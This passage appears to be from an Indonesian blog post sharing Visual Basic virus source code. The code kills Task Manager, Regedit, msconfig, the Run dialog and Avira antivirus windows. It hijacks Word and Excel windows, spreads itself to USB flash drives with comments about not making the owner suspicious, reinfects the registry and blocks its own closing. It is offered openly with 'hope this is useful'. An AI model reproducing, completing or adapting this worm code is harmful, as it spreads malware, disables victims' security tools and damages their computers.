Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub

Private Sub Timer3_Timer()
On Error Resume Next
'menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow("#32770", "RUN") 'jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TApplication", vbNullString) 'aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub

Private Sub Timer4_Timer()
'cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk '
End Sub

Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
'menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
Timer4.Enabled = True
End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub

Semoga bermanfaat.
Bagikan